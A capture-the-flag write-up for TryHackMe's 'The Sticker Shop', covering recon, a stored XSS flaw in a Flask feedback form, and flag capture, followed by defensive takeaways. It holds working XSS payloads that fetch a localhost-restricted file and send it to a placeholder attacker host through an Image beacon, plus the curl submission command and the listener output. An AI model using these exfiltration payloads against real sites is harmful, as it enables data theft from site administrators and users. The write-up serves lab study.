CTF Writeup

The Sticker Shop

TryHackMe · Web — Stored XSS · Easy · by 0xb0rn3

Platform TryHackMe Category Web — Stored XSS / Same-Origin Exfiltration Difficulty Easy Target 10.114.180.229 Stack Werkzeug 3.0.1 / Python 3.8.10 / Flask Flags 1 flag captured
0
Context

Overview

A Flask web application with a customer feedback form that reflects submitted content unsanitized to an admin who browses feedback on the same machine as the web server. Stored XSS payload fetches /flag.txt via a relative URL (same-origin), base64-encodes the response, and exfiltrates it to an attacker-controlled listener via an Image beacon. No CSP headers.

ATTACK CHAIN
POST /submit_feedback → stored XSS payload
  ↓
Admin bot renders feedback in local browser (same machine as server)
  ↓
fetch("/flag.txt") → same-origin, bypasses 401 (localhost access)
  ↓
new Image().src = "http://ATTACKER:9000/?ok=" + btoa(flag)
  ↓
Flag: THM{83789a69074f636f64a38879cfcabe8b62305ee6}
1
Reconnaissance

Port Scan & Web Enumeration

PortServiceVersion
22/tcpSSHOpenSSH 8.2p1 Ubuntu
8080/tcpHTTPWerkzeug/3.0.1 Python/3.8.10 — “Cat Sticker Shop”

Two endpoints found: / (sticker product page) and /submit_feedback (POST form). Direct access to /flag.txt returns 401 Unauthorized — only requests from 127.0.0.1 are allowed. No CSP headers on any page.

BASH
$ curl http://10.114.180.229:8080/flag.txt
HTTP 401 Unauthorized
2
Vulnerability

Stored XSS — No Sanitization

The feedback form accepts arbitrary HTML/JavaScript without sanitization. Submitted content is stored and rendered raw to the shop admin when they review feedback in their local browser. Since the admin’s browser runs on the same machine as the web server, any fetch() to a relative path hits localhost.

ATTACK FLOW
Attacker                    Web Server              Admin Browser (localhost)
   |                             |                            |
   |-- POST /submit_feedback --> |                            |
   |   (XSS payload stored)     |                            |
   |                             |-- render feedback -------> |
   |                             |                            |-- fetch("/flag.txt")
   |                             |<-- GET /flag.txt (127.0.0.1)  (same-origin)
   |                             |--- 200 OK + flag --------> |
   |<-- Image beacon exfil -----------------------------------|

Key insight: Using fetch("/flag.txt") (relative URL) instead of fetch("http://localhost:8080/flag.txt"). The relative fetch stays same-origin and succeeds; a cross-origin fetch to localhost would be blocked by CORS.

3
Exploit

XSS Beacon Test & Flag Exfiltration

First, confirm XSS execution with a beacon test:

XSS BEACON TEST
POST /submit_feedback
feedback=<script>new Image().src="http://ATTACKER:9000/xss_test"</script>

[HIT] GET /xss_test — XSS confirmed

Then submit the flag exfiltration payload:

HTML/JS — EXFIL PAYLOAD
<script>
fetch("/flag.txt")                       // relative = same-origin
  .then(r => r.text())
  .then(d => new Image().src =
    "http://ATTACKER:9000/?ok=" + btoa(d))  // base64 exfil
  .catch(e => new Image().src =
    "http://ATTACKER:9000/?err=" + btoa(String(e)));
</script>
BASH — SUBMIT
$ curl -X POST http://10.114.180.229:8080/submit_feedback \
    --data-urlencode 'feedback=<PAYLOAD>'
4
Flag Capture

Listener Callback → Flag

LISTENER OUTPUT
[HIT] /?ok=VEhNezgzNzg5YTY5MDc0ZjYzNmY2NGEzODg3OWNmY2FiZThiNjIzMDVlZTZ9

$ echo "VEhNezgzNzg5YTY5MDc0ZjYzNmY2NGEzODg3OWNmY2FiZThiNjIzMDVlZTZ9" | base64 -d
THM{83789a69074f636f64a38879cfcabe8b62305ee6}
 Flag
THM{83789a69074f636f64a38879cfcabe8b62305ee6}
Visualization

Attack Chain

1
Stored XSS Injection
POST /submit_feedback with JS payload — no sanitization
2
Admin Bot Triggers Payload
Admin reviews feedback in browser running on the same machine as the server
3
Same-Origin Fetch
fetch("/flag.txt") — relative URL bypasses CORS, hits localhost
Base64 Exfiltration
btoa() + Image beacon → THM{83789a69074f636f64a38879cfcabe8b62305ee6}
Assessment

Vulnerabilities

FindingLocationSeverityImpact
Stored XSS (no sanitization)/submit_feedbackCriticalArbitrary JS execution in admin’s browser
No Content-Security-PolicyAll responsesHighNo restriction on script execution or outbound requests
Admin browses on same machineArchitecture designHighXSS payload can access localhost-restricted resources
IP-based access control only/flag.txtMediumNo authentication — relies solely on source IP check
Defense

Takeaways

Sanitize All Input
Never render user-submitted content without HTML encoding. Use template auto-escaping (Jinja2 |e) and sanitization libraries.
Deploy CSP Headers
Content-Security-Policy with strict script-src and connect-src directives blocks inline JS and outbound exfiltration.
Isolate Admin Browsing
Admin browsers should never run on the same machine as the web server. Separate review interfaces to different origins.
Don’t Trust Source IP Alone
IP-based access control is bypassable via SSRF, XSS on co-located browsers, or proxy abuse. Use authentication tokens.
Arsenal

Tools Used

ToolPurpose
nmapPort scanning and service enumeration
curlXSS payload submission, endpoint probing
python3 HTTP listenerCapture exfiltrated base64 flag via Image beacon
sticker_shop_auto.pyFull automated exploit (XSS + listener + decode)